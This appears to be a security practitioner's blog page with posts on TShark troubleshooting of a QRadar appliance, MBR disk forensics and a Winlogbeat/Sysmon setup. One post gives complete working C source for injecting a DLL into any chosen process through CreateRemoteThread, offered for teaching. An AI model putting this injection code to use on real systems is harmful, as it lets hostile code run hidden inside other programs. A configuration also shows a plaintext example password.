Wednesday, November 25, 2020

Troubleshooting HTTPS - SSH Connectivity to IBM QRadar with TShark

Had a little issue today, where the team could not connect to an IBM QRadar appliance via SSH or HTTPS. This is somewhat strange as we expect these services to be available for us to be able to do our job. I Assigned the task to an Analyst to take a quick look. here is what we got.

1. I am unable to access QRadar via SSH
2. I am unable to access QRadar via HTTPS

Current solution:
Report to the team that supports QRadar, that we are unable to access the environment via SSH or HTTPS.

What is the QRadar team’s solution?
Allow the IPs (and I assume ports) to the QRadar device. In my opinion, this was not needed, unless they recently blocked it. However, with that step done, the problem still exists.

Working as an Analyst, you are always expected to put your supporting evidence of the issue. This is true whether it is a security issue you are reporting or connectivity issue. Think device up/down (via Nagios, Solarwinds, etc.), monitoring as an example outside of security.

Considering the above, let’s use packet analysis with TShark to see what we can learn about these two issue.

Starting with TCP Port 22 associated with SSH.

Loading up the first 7 frames of the PCAP in TShark, we see:

kali@securitynik:~$ tshark -r ssh.pcapng -c 7
    1   0.000000     10.0.0.1 → 10.0.0.2     TCP 66 57157 → 22 [SYN, ECN, CWR] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
    2   0.029507     10.0.0.2 → 10.0.0.1     TCP 66 22 → 57157 [SYN, ACK] Seq=0 Ack=1 Win=42340 Len=0 MSS=1380 SACK_PERM=1 WS=4096
    3   0.029570     10.0.0.1 → 10.0.0.2     TCP 54 57157 → 22 [ACK] Seq=1 Ack=1 Win=66048 Len=0
    4   0.029698     10.0.0.1 → 10.0.0.2     SSH 96 Client: Protocol (SSH-2.0-SecureCRT_8.5.4 (x64 build 1942))
    5   0.057867     10.0.0.2 → 10.0.0.1     TCP 60 22 → 57157 [ACK] Seq=1 Ack=43 Win=45056 Len=0
    6  58.098216     10.0.0.1 → 10.0.0.2     TCP 54 57157 → 22 [FIN, ACK] Seq=43 Ack=1 Win=66048 Len=0
    7  58.166203     10.0.0.2 → 10.0.0.1     TCP 60 22 → 57157 [ACK] Seq=1 Ack=44 Win=45056 Len=0

Breaking this down further below, we see frames 1 to 3 showing the 3-way handshake completed successfully. Don't let's worry about ECN and CWR in this post. Focus on the SYN -> SYN/ACK -> ACK.

kali@securitynik:~$ tshark -r ssh.pcapng -c 3
    1   0.000000     10.0.0.1 → 10.0.0.2     TCP 66 57157 → 22 [SYN, ECN, CWR] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
    2   0.029507     10.0.0.2 → 10.0.0.1     TCP 66 22 → 57157 [SYN, ACK] Seq=0 Ack=1 Win=42340 Len=0 MSS=1380 SACK_PERM=1 WS=4096
    3   0.029570     10.0.0.1 → 10.0.0.2     TCP 54 57157 → 22 [ACK] Seq=1 Ack=1 Win=66048 Len=0

Looking at above, we conclude the host is available and that port TCP 22, typically associated with SSH is available. 

Looking closer at the SSH communication in frame 4, we see our client begins communication at the application layer, sending its SSH identification information. 

kali@securitynik:~$ tshark -n -r ssh.pcap -Y 'frame.number==4'
    4   0.029698     10.0.0.1 → 10.0.0.2     SSH 96 Client: Protocol (SSH-2.0-SecureCRT_8.5.4 (x64 build 1942))

Transitioning to the response from the server, we see:

kali@securitynik:~$ tshark -n -r ssh.pcapng -Y '(frame.number==5) || (frame.number==6) || (frame.number==7)'     
    5   0.057867     10.0.0.2 → 10.0.0.1     TCP 60 22 → 57157 [ACK] Seq=1 Ack=43 Win=45056 Len=0
    6  58.098216     10.0.0.1 → 10.0.0.2     TCP 54 57157 → 22 [FIN, ACK] Seq=43 Ack=1 Win=66048 Len=0
    7  58.166203     10.0.0.2 → 10.0.0.1     TCP 60 22 → 57157 [ACK] Seq=1 Ack=44 Win=45056 Len=0

What is interesting about above, is the SSH Client starts the SSH connection with the client’s QRadar, sending its protocol and client information (Identification information).

The Client’s QRadar responds with “ACK”, then our SSH Client initiates a graceful teardown of the communication by setting its “FIN, ACK” flags. Looking at this, we can see our SSH Client is responsible for initiating the teardown of the communication. But why is this so? 

Looking at RFC 4253 (RFC 4253 - The Secure Shell (SSH) Transport Layer Protocol (ietf.org) ) it states …

When the connection has been established, both sides MUST send an

   identification string.  This identification string MUST be

      SSH-protoversion-softwareversion SP comments CR LF


Note the MUST in the wording above. Looking back above, we see our SSH client sends its identification string as “SSH-2.0-SecureCRT_8.5.4 (x64 build 1942)”. However, the Client’s QRadar, rather than sending its identification string, simply responded with “ACK”. We don’t see its identification string. I believe this is the reason why our SSH client requested to close the connection as it is unable to transition to the Key Exchange phase of the SSH connection. I believe if we run the SSH client in Debug mode if available, we may see this as the issue.

Issue Number 2: Looking at HTTPS. This is less complicated to see what the issue is.

kali@securitynik:~$ tshark -r 443-4.pcapng -Y "(tcp.port==57129) && (tcp.port==443)"
   23   6.960410     10.0.0.1 → 10.0.0.2     TCP 66 57129 → 443 [SYN, ECN, CWR] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
   24   6.989644     10.0.0.2 → 10.0.0.1     TCP 60 443 → 57129 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
   29   7.489974     10.0.0.1 → 10.0.0.2     TCP 66 [TCP Retransmission] 57129 → 443 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=256 SACK_PERM=1
   30   7.519994     10.0.0.2 → 10.0.0.1     TCP 60 443 → 57129 [RST, ACK] Seq=4184603348 Ack=1 Win=0 Len=0
   35   8.019747     10.0.0.1 → 10.0.0.2     TCP 62 [TCP Retransmission] 57129 → 443 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 SACK_PERM=1
   36   8.049017     10.0.0.2 → 10.0.0.1     TCP 60 443 → 57129 [RST, ACK] Seq=739404838 Ack=1 Win=0 Len=0

As you look above, you see the HTTPS client sends its “SYN”. However, it is unable to complete the 3-way handshake. How do we know this? Look at the session above where we discussed SSH. However, staying with the HTTPS connection, we see the QRadar responds with “RST, ACK”. This tells me it is not listening on port 443. 


With the above analysis, what have we concluded:
1. The QRadar devce is UP. We know this because SSH 3-way handshake completed successfully on TCP port 22 and the QRadar also sent “RST” stating that HTTPS on TCP port 443 is not “listening”
2. SSH does not seems to be fully available on the QRadar device as it did not return its identification string.
3. HTTPS is not available/listening on the QRadar device.


Recommended solutions based on the analysis above:
1. Work with the remote team to restart the SSH and HTTPS services on the QRadar device.
2. If recommendation 1 fails, there is going to be a need to restart the QRadar console.


Takeaway for you the reader.

As a Security Analyst, ensure you have enough evidence to support your positions. This is true whether you are reporting on a security incident or addressing a device down.


If you wish to learn more about the importance of being able to analyze packets, come hangout with us at an upcoming SEC503 - Intrusion Detection in Depth or at an upcoming SEC582 - Mastering TShark Packet Analysis class. Alternatively grab a copy of my book Mastering TShark Network Forensics.


Additional read to help you get going in the meantime.

Learning by practicing: Windump basics by examples (securitynik.com)
Learning by practicing: a few not so basic windump examples (securitynik.com)
Man page of TCPDUMP
RFC 4253 - SSH


Wednesday, November 4, 2020

Continuing DLL Injection via CreateRemoteThread

In a previous post on DLL injection, I hardcoded the code for the DLL. In this post, I am giving you the opportunity to specify your process ID and DLL to be injected.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
/*
* DLL Injection - using create remote thread 
* This is a follow-up to my previous blog posts and as in the previous instance, 
*  this is purely for educational purposes.
* https://www.securitynik.com/2019/01/beginning-dll-injection-with-windows_23.html
* https://www.securitynik.com/2019/01/beginning-dll-injection-with-windows.html
* 
* In those previous posts, I required admin privileges. In this post, I'm working without admin privileges
* Author Nik Alleyne
* Author Blog: www.securitynik.com
* File: dllInjection-CreateRemoteThread.c
* Date: October 4, 2020
*/


#include <windows.h>
#include <Psapi.h>
#include <stdio.h>

int main(int argc, char* argv[])
{
	// Clear the screen before getting started
	system("cls");

	// Check to see if the number of arguments, equals 3.
	// First argument is the program, second is the process PID and third is the full path to the DLL
	
	if (argc != 3)
	{
		printf(" ===========================================================================\n");
		printf("[*] Usage info. | dllInjection-CreateRemoteThread.exe \n");
		printf("[*]");
		printf("dllInjection-CreateRemoteThread.exe PID Path to DLL \n");
		printf("\t eg. dllInjection-CreateRemoteThread.exe 3000 c:\\tmp\\mydll.dll \n");
		printf(" ===========================================================================\n");
		return -1;
	}

	printf("                  Beginning the DLL Injection Process ... \n");
	printf("------------------------------------------------------------------------------ \n");
	Sleep(1000);

	printf("[*] Enumerating all processes ... \n");
	Sleep(1000);

	// Setup point to the array which will hold the processes
	DWORD myProcessList[4096], sizeOfArray, totalProcesses;
	if (!EnumProcesses(myProcessList, sizeof(myProcessList), &sizeOfArray))
	{
		printf(" [!] Error Code: %u was encountered while retrieving processes information \n", GetLastError());
		return -1;
	}

	// calculate the number of processes returned
	totalProcesses = sizeOfArray / sizeof(DWORD);
	printf(" [*] There were %u processes found \n", totalProcesses);
	Sleep(1000);

	printf("[*] Searching for process with PID:%u \n", atoi(argv[1]));
	// Create a variable to track if the PID was found
	BOOL pidFound = FALSE;

	// Find the process with PID of interest
	// first declare a counter for the array
	unsigned int count = 0;
	for (count; count < totalProcesses; count++)
		if (myProcessList[count] == atoi(argv[1]))
		{
			pidFound = TRUE;
			break;
		}
	

	if (!pidFound)
	{
		printf(" [!] Unable to locate the process with PID:%u \n", atoi(argv[1]));
		return -1;
	}
		
	printf(" [*] Process with PID:%u Found \n", atoi(argv[1]));
	Sleep(1000);

	// Now that the PID exists, open a handle to it.
	printf("[+] Opening a handle to process with PID:%u  ...\n", atoi(argv[1]));

	HANDLE myRemoteProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, NULL, atoi(argv[1]));
	if (!myRemoteProcessHandle)
	{
		printf(" [!] Error %u occured while attempting to get a handle \n", GetLastError());
		return -1;
	}
	
	printf(" [+] Handle 0x%p successfully opened \n", myRemoteProcessHandle);
	Sleep(1000);

	// Allocating space in memory
	printf("[+] Allocating space in the memory of process with PID: %u \n", atoi(argv[1]));
	VOID* myRemoteProcessAddress = VirtualAllocEx(myRemoteProcessHandle, NULL, 256, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
	if (!myRemoteProcessAddress)
	{
		printf(" [!] Unable to allocate space in the process. Error code was %u \n", GetLastError());
		return -1;
	}

	printf(" [+] Space successfully allocated \n");
	Sleep(1000);

	// Writing DLL Path to process Memory
	printf("[+] Writing to the process memory ... \n");
	if (!WriteProcessMemory(myRemoteProcessHandle, myRemoteProcessAddress, argv[2], strlen(argv[2]), nullptr))
	{
		printf(" [!] Error %u encountered while writing to the process with PID:%u memory \n", GetLastError(), atoi(argv[1]));
		return -1;
	}
	printf(" [+] Process memory successfully written ... \n");
	Sleep(1000);

	// Executing the remote threat
	printf("[+] Creating the remote thread ...\n");
	HANDLE myRemoteProcessNewThread = CreateRemoteThread(myRemoteProcessHandle, nullptr, 0, (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"), myRemoteProcessAddress, 0, nullptr);

	if (!myRemoteProcessNewThread)
	{
		printf(" [!] Error occurred while creating remote thread!\n");
		return -1;
	}

	printf(" [+] Remote thread successfully created \n");
	Sleep(1000);

	// Close up shop
	CloseHandle(myRemoteProcessHandle);
	printf("[*] I'm done my work. See ya and hope you enjoyed that demo! \n");
	
	return 0;
}



/*
* References:
* https://docs.microsoft.com/en-us/windows/win32/psapi/enumerating-all-modules-for-a-process
* https://docs.microsoft.com/en-us/windows/win32/api/psapi/nf-psapi-enumprocesses
* https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
* https://docs.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights
* https://docs.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory
* 
*/

Have fun!

Beginning File System Forensics - learning about the disk and the Master Boot Record (MBR)

In a previous post, we acquired the image. In this post, let's learn about the disk image which was acquired. 

Let's verify the MD5 hash of the image:

kali@securitynik:~/forensics$ md5sum linux_mint_usb.raw
e995c8773f355b895792fafdc24e80d4  linux_mint_usb.raw

Looks like a match with what we saw in the previous post. 

kali@securitynik:~/forensics$ cat linux_mint_usb.hash | grep md5
Total (md5): e995c8773f355b895792fafdc24e80d4

Before mounting the disk, let's see what we learn from "fdisk --list"

kali@securitynik:~/forensics$ sudo fdisk --list linux_mint_usb.raw
[sudo] password for kali: 
Disk linux_mint_usb.raw: 29.3 GiB, 31457280000 bytes, 61440000 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00051443

Device              Boot Start      End  Sectors  Size Id Type
linux_mint_usb.raw1       2048 61437951 61435904 29.3G  c W95 FAT32 (LBA)

Above, we see we have a disk reported as "29.3" GiB

We see the sectors are of size 512 bytes
Units: sectors of 1 * 512 = 512 bytes

We also see the disk seems to have one partition which is Win95 FAT32.

Device                  Boot    Start      End  Sectors  Size Id Type
linux_mint_usb.raw1       2048 61437951 61435904 29.3G  c W95 FAT32 (LBA)

Let's now look at the raw bytes, to confirm some of the information above. 

What we know so far, is the disk has sectors of 512 bytes. The first sector  contains the Master Boot Record (MBR). The MBR is considered the most important data structure on the disk and is created when the disk is partitioned. It loads code from the bootable partitions which in turn execute your operating system bootloader. While every hard disk contains an MBR, its code is only used if the disk has an active primary partition. 

Let's look at the first 512 bytes where the MBR resides.

00000000: fab8 0010 8ed0 bc00 b0b8 0000 8ed8 8ec0  ................
00000010: fbbe 007c bf00 06b9 0002 f3a4 ea21 0600  ...|.........!..
00000020: 00be be07 3804 750b 83c6 1081 fefe 0775  ....8.u........u
00000030: f3eb 16b4 02b0 01bb 007c b280 8a74 018b  .........|...t..
00000040: 4c02 cd13 ea00 7c00 00b0 a103 0000 0000  L.....|.........
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000b0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000c0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000000f0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000100: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000110: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000120: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000130: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000140: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000150: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000160: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000170: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000180: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000190: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001a0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001b0: 0000 0000 0000 0000 4314 0500 0000 0020  ........C...... 
000001c0: 2100 0cfe ffff 0008 0000 0070 a903 0000  !..........p....
000001d0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001e0: 0000 0000 0000 0000 0000 0000 0000 0000  ................
000001f0: 0000 0000 0000 0000 0000 0000 0000 55aa  ..............U.

Above shows the first 512 bytes of the master boot record. 

Here is a breakdown of those 512 bytes
Offset 0 - 445 (length 446 bytes): 
This is the boot code area. However, this may be broken down further. It may instead be offset 0-439 representing the boot code, with offset 440-444 (4 bytes) representing the disk signature and this is finally followed by 2 bytes of NULL bytes (0x00 0x00) starting at offset 444. As you see we still have 446 bytes. 

Let's verify this using "xxd":

First we tell "xxd" to start at offset 0, span a length of 439 bytes and group the results in groups of 4 bytes.

kali@securitynik:~/forensics$ xxd --seek 0 --len 439 --groupsize 4 linux_mint_usb.raw
00000000: fab80010 8ed0bc00 b0b80000 8ed88ec0  ................
00000010: fbbe007c bf0006b9 0002f3a4 ea210600  ...|.........!..
00000020: 00bebe07 3804750b 83c61081 fefe0775  ....8.u........u
00000030: f3eb16b4 02b001bb 007cb280 8a74018b  .........|...t..
00000040: 4c02cd13 ea007c00 00b0a103 00000000  L.....|.........
00000050: 00000000 00000000 00000000 00000000  ................
00000060: 00000000 00000000 00000000 00000000  ................
00000070: 00000000 00000000 00000000 00000000  ................
00000080: 00000000 00000000 00000000 00000000  ................
00000090: 00000000 00000000 00000000 00000000  ................
000000a0: 00000000 00000000 00000000 00000000  ................
000000b0: 00000000 00000000 00000000 00000000  ................
000000c0: 00000000 00000000 00000000 00000000  ................
000000d0: 00000000 00000000 00000000 00000000  ................
000000e0: 00000000 00000000 00000000 00000000  ................
000000f0: 00000000 00000000 00000000 00000000  ................
00000100: 00000000 00000000 00000000 00000000  ................
00000110: 00000000 00000000 00000000 00000000  ................
00000120: 00000000 00000000 00000000 00000000  ................
00000130: 00000000 00000000 00000000 00000000  ................
00000140: 00000000 00000000 00000000 00000000  ................
00000150: 00000000 00000000 00000000 00000000  ................
00000160: 00000000 00000000 00000000 00000000  ................
00000170: 00000000 00000000 00000000 00000000  ................
00000180: 00000000 00000000 00000000 00000000  ................
00000190: 00000000 00000000 00000000 00000000  ................
000001a0: 00000000 00000000 00000000 00000000  ................
000001b0: 00000000 000000 

After the 439 bytes, above I stated the next 4 bytes represents an optional disk signature. Let's verify this.

kali@securitynik:~/forensics$ xxd --seek 440 --len 4 --groupsize 4 linux_mint_usb.raw
000001b8: 43140500

If we look above at the "fdisk --list" output, we see the disk label is "0x00051443". This is basically the same value we see above from our last "xxd" output, with the exception that the bytes have been reversed, with the least significant byte being written first. This CPU is Little Endian byte order as shown below.

kali@securitynik:~/forensics$ lscpu | grep Endian
Byte Order:                      Little Endian

Let's now verify offset 444-446. Above we stated, these two bytes are usually null bytes (0x00 0x00)

kali@securitynik:~/forensics$ xxd --seek 444 --len 2 --groupsize 4 linux_mint_usb.raw
000001bc: 0000

Good stuff, we have verified the first 446 bytes of the MBR.

Following that 446 bytes is 64 bytes, which represents the partition table. Each partition is represented as 16 bytes. Hence 16*4 is where the 64.

Let's now look at 64 bytes, starting at offset 446. This will take us to offset 510.

kali@securitynik:~/forensics$ xxd --seek 446 --len 64 --groupsize 16 linux_mint_usb.raw
000001be: 002021000cfeffff000800000070a903  . !..........p..
000001ce: 00000000000000000000000000000000  ................
000001de: 00000000000000000000000000000000  ................
000001ee: 00000000000000000000000000000000  ................

Above, I started at offset 446, which represents where the boot code region ends, spanning 64 bytes while grouping the output in 16 bytes sequences. Each of those 16 bytes (row) represents a partition. At this point, we are able to confirm the disk has one partition, similar to what was presented to us via "fdisk --list".

Let's now peak into that partition. The partition table follows a standard layout, which is independent of the OS. 

From a Hexadecimal view, those 16 bytes of partition 1 are:

kali@securitynik:~/forensics$ xxd --seek 446 --len 16 --groupsize 1 linux_mint_usb.raw
000001be: 00 20 21 00 0c fe ff ff 00 08 00 00 00 70 a9 03  . !..........p..

Breaking those bytes down further
offset 446: 0x00 above indicates this partition should not be used for booting. Valid values are "0x80" can be used for booting and "0x00". 

offset 447: 0x20: "Starting Head"

offset: 448: 0x21: 6 of these bits (bits 0-5) are used for the "Starting Sector". Bits 6 and 7 are used by the "Starting Cylinder" field. Note and according to Microsoft "do not accurately represent the value of the fields, because the fields are either 6 bits or 10 bits and the data is recorded in bytes."

If we look at offset 448, from a bits (binary) perspective, we see:

kali@securitynik:~/forensics$ xxd --seek 448 --len 1 --groupsize 1 --bits linux_mint_usb.raw
000001c0: 00100001

Offset 449: 0x000c: 10 bits are used by the "Starting Cylinder" value. The maximum value across these 10 bits is 1023. Here is what the bits look like for this field. Note and according to Microsoft "do not accurately represent the value of the fields, because the fields are either 6 bits or 10 bits and the data is recorded in bytes."

kali@securitynik:~/forensics$ xxd --seek 449 --len 1 --groupsize 1 --bits linux_mint_usb.raw
000001c1: 00000000

Offset  450: 0x0c: defines the volume "System ID". if we look at the "fdisk --list" output again, we see "Id" has "c" and this is associated with "Type" W95 FAT32

kali@securitynik:~/forensics$ xxd --seek 450 --len 1 --groupsize 1 linux_mint_usb.raw
000001c2: 0c

Offset 451: 0xfe: "Ending Head"
kali@securitynik:~/forensics$ xxd --seek 451 --len 1 --groupsize 1 linux_mint_usb.raw
000001c3: fe

Offset 452: 0xff: "Ending Sector". Only bits 0-5 are used. Bits 6 and 7 are used by the "Ending Cylinder" field. Note and according to Microsoft "do not accurately represent the value of the fields, because the fields are either 6 bits or 10 bits and the data is recorded in bytes."

kali@securitynik:~/forensics$ xxd --seek 452 --len 1 --groupsize 1 linux_mint_usb.raw
000001c4: ff 

Offset 453: 0xff: Another 10 bits field and once again according to Microsoft "do not accurately represent the value of the fields, because the fields are either 6 bits or 10 bits and the data is recorded in bytes."

kali@securitynik:~/forensics$ xxd --seek 453 --len 1 --groupsize 1 linux_mint_usb.raw
000001c5: ff

Offset 454: 0x00080000: This double word (DWORD) or 32 bits, represent the number of "Relative Sectors" starting at the beginning of the disk to the beginning of the volume. 

kali@securitynik:~/forensics$ xxd --seek 454 --len 4 --groupsize 4 linux_mint_usb.raw
000001c6: 00080000 

If you remember, we mentioned previously, this value is in Little Endian. This means we need to reverse these bytes to find the real decimal values. Therefore bytes "0x00080000" now becomes "0x00000800" or simply "0x800" as we can remove the leading 0s. This "0x800" when converted to decimal, represents the "2048" reported by "fdisk --list" as the "Boot Start"

Offset 458: 0x0070a903: The final 4 bytes of the partition represents the total number of sectors on this volume.

kali@securitynik:~/forensics$ xxd --seek 458 --len 4 --groupsize 4 linux_mint_usb.raw
000001ca: 0070a903

Similarly to what we did above, let's convert "0x0070a903" to become "0x03a97000" as we need to change the byte order.  When "0x03a97000" is converted to decimal, we get "61435904" which represents the "Sectors" as returned by "fdisk --list"

Finally, multiply "61435904" * 512 (number of sectors) and we get the number of bytes as reported by "fdisk --list" for this partition. My calculation produced "29.294921398‬‬" which equates to the "29.3G" as reported by "fdisk --list"

We will ignore the 3 other partitions which falls at 459 - 509 as they are empty. The final 2 bytes at offset 510-512 reparents the signature or the end of sector marker. This signature is also used to mark the end of an extended boot record (EBR) and the boot sector.

kali@securitynik:~/forensics$ xxd --seek 510 --len 2 --groupsize 2 linux_mint_usb.raw
000001fe: 55aa 

Now that we have a better understanding of the drive, let's now move to mounting it in the next post.

PS. I have to admit, the destination disk I was copying to ran out of disk space. I thought about redoing the post. However, I thought that would not add or take away from the analysis. However, I do believe by letting you know about my error, you will ensure that you don't fall for the same trap. As a result, always ensure your destination drive has at least 10% more disk space than your source drive.

References:







Monday, October 5, 2020

Security On The Cheap - Beginning Elastic - Installing and Providing Basic Security to Winlogbeat - Elastic Stack 7.9 on Ubuntu 20.04

In this the eight and final post within this series, we install, configure and provide basic security for Winlogbeat. 

The first post, we installed Elasticsearch. In the second post we installed Kibana. This was followed by the third post where we provided basic security to Elastic and Kibana. In the fourth post, we installed, configured and secured Metricbeat and the fifth post, we installed, configured and secured Auditbeat. The sixth post, we installed, configured and provided basic security to Filebeat. In the seventh post, we installed, configured and provided basic security to Packetbeat.

Similar to the previous posts, we can start from "Add Data"

Winlogbeat Add Data

From the login page, I download the WINDOWS ZIP 64-BIT file. 

C:\Users\SecurityNik>certutil -f -URLCache "https://artifacts.elastic.co/downloads/beats/winlogbeat/winlogbeat-7.9.1-windows-x86_64.zip" winlogbeat-7.9.2.zip
****  Online  ****
CertUtil: -URLCache command completed successfully.

Verify the file has been downloaded successfully.

C:\Users\SecurityNik>dir winlogbeat-7.9.2.zip
 Volume in drive C is OS
 Volume Serial Number is D436-4013

 Directory of C:\Users\SecurityNik

2020-09-11  07:47 PM        19,156,840 winlogbeat-7.9.2.zip
               1 File(s)     19,156,840 bytes
               0 Dir(s)  31,707,971,584 bytes free

Expand the "winlogbeat-7.9.0" file into the current directory and verify the files within the archive.

PS C:\Users\SecurityNik> Expand-Archive -LiteralPath .\winlogbeat-7.9.2.zip -DestinationPath .

PS C:\Users\SecurityNik> dir .\winlogbeat-7.9.2-windows-x86_64\


    Directory: C:\Users\SecurityNik\winlogbeat-7.9.2-windows-x86_64                                                                                                                                                                                                                                      Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----        2020-09-11   8:14 PM                kibana
d-----        2020-09-11   8:14 PM                module
-a----        2020-09-01   8:12 PM             41 .build_hash.txt
-a----        2020-09-01   8:10 PM         194542 fields.yml
-a----        2020-09-01   8:12 PM            897 install-service-winlogbeat.ps1
-a----        2020-09-01   6:50 PM          13675 LICENSE.txt
-a----        2020-09-01   6:51 PM        8440372 NOTICE.txt
-a----        2020-09-01   8:12 PM            832 README.md
-a----        2020-09-01   8:12 PM            254 uninstall-service-winlogbeat.ps1
-a----        2020-09-01   8:12 PM       62381056 winlogbeat.exe
-a----        2020-09-01   8:10 PM          54147 winlogbeat.reference.yml
-a----        2020-09-01   8:10 PM           8778 winlogbeat.yml

With those files extracted and since we are also providing some basic security, we need to copy the "SecurityNik-CA.pem" Certification Authority (CA) certificate to this system in the same folder with the other configuration files. Since this is not mutual authentication where the server also has to authenticate the client, we should be good to go here. If we look at the Winlogbeat directory again, we see the certificate and Sysmon.exe. I added Sysmon to get that extra level of logging which Sysmon provides. Basically, if you are monitoring your Windows environment and not using Sysmon, then I guess you are special.

PS C:\Users\SecurityNik> dir .\winlogbeat-7.9.2-windows-x86_64\


    Directory: C:\Users\SecurityNik\winlogbeat-7.9.2-windows-x86_64


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
...
-a----        2020-08-14   3:29 PM           1200 SecurityNik-CA.pem
-a----        2020-08-14   2:17 PM        4282224 Sysmon.exe
...

Let's first install Sysmon on the host.

C:\winlogbeat-7.9.2-windows-x86_64>sysmon -accepteula -i


System Monitor v11.11 - System activity monitor
Copyright (C) 2014-2020 Mark Russinovich and Thomas Garnier
Sysinternals - www.sysinternals.com

Sysmon installed.
SysmonDrv installed.
Starting SysmonDrv.
SysmonDrv started.
Starting Sysmon..
Sysmon started.

With Sysmon now installed, we next modify Winlogbeat's configuration file. Below represents the change in my environment

PS C:\Users\SecurityNik> type C:\winlogbeat-7.9.2\winlogbeat.yml | more
....
#================== Kibana =========================
host: "https://10.0.0.1:5601"


# ---------------------------- Elasticsearch Output ----------------------------
output.elasticsearch:
  # Array of hosts to connect to.
  hosts: ["https://10.0.0.1:9200"]

  # Protocol - either `http` (default) or `https`.
  protocol: "https"

  # Authentication credentials - either API key or username/password.
  #api_key: "id:api_key"
  username: "elastic"
  password: "WelcomeToSecurityNikElastic"


# ================================= Processors =================================
processors:
  - add_host_metadata:
      when.not.contains.tags: forwarded
      # Added by Nik
      geo:
        name: home-ON
        continent_name: North America
        geo.country_name: Canada
        country_iso_code: CA
        region_name: Ontario
        region_iso_code: Ontario
        city_name: GTA


# SSL Configuration enabled by Nik
ssl.enabled: true
output.elasticsearch.hosts: ["https://10.0.0.1:9200"]
output.elasticsearch.ssl.certificate_authorities: ["C:\\winlogbeat-7.9.2\\SecurityNik-CA.pem"]

setup.kibana.ssl.enabled: true
setup.kibana.ssl.certificate_authorities: ["C:\\winlogbeat-7.9.2\\SecurityNik-CA.pem"]

Rename and copy the winlogbeat folder to a simpler name and copy it to the root of the c: drive.

C:\Users\securitynik>xcopy /S /I /E .\winlogbeat-7.9.2 c:\winlogbeat-7.9.2\
.\winlogbeat-7.9.2\.build_hash.txt
.\winlogbeat-7.9.2\fields.yml
.\winlogbeat-7.9.2\install-service-winlogbeat.ps1
.\winlogbeat-7.9.2\LICENSE.txt
.\winlogbeat-7.9.2\NOTICE.txt
.\winlogbeat-7.9.2\README.md
.\winlogbeat-7.9.2\SecurityNik-CA.pem
.\winlogbeat-7.9.2\Sysmon.exe
.\winlogbeat-7.9.2\uninstall-service-winlogbeat.ps1
.\winlogbeat-7.9.2\winlogbeat.exe
.\winlogbeat-7.9.2\winlogbeat.reference.yml
.\winlogbeat-7.9.2\winlogbeat.yml
.\winlogbeat-7.9.2\kibana\7\dashboard\01c54730-fee6-11e9-8405-516218e3d268.json
.\winlogbeat-7.9.2\kibana\7\dashboard\71f720f0-ff18-11e9-8405-516218e3d268.json
.\winlogbeat-7.9.2\kibana\7\dashboard\8223bed0-b9e9-11e9-b6a2-c9b4015c4baf.json
.\winlogbeat-7.9.2\kibana\7\dashboard\bb858830-f412-11e9-8405-516218e3d268.json
.\winlogbeat-7.9.2\kibana\7\dashboard\Powershell-Overview-Dashboard.json
.\winlogbeat-7.9.2\kibana\7\dashboard\Winlogbeat-overview.json
.\winlogbeat-7.9.2\module\powershell\config\winlogbeat-powershell.js
.\winlogbeat-7.9.2\module\security\config\winlogbeat-security.js
.\winlogbeat-7.9.2\module\sysmon\config\winlogbeat-sysmon.js
21 File(s) copied

With the files now copied, let's test our configuration.

C:\winlogbeat-7.9.2>winlogbeat.exe test config
Config OK

Configuration looks "OK". 

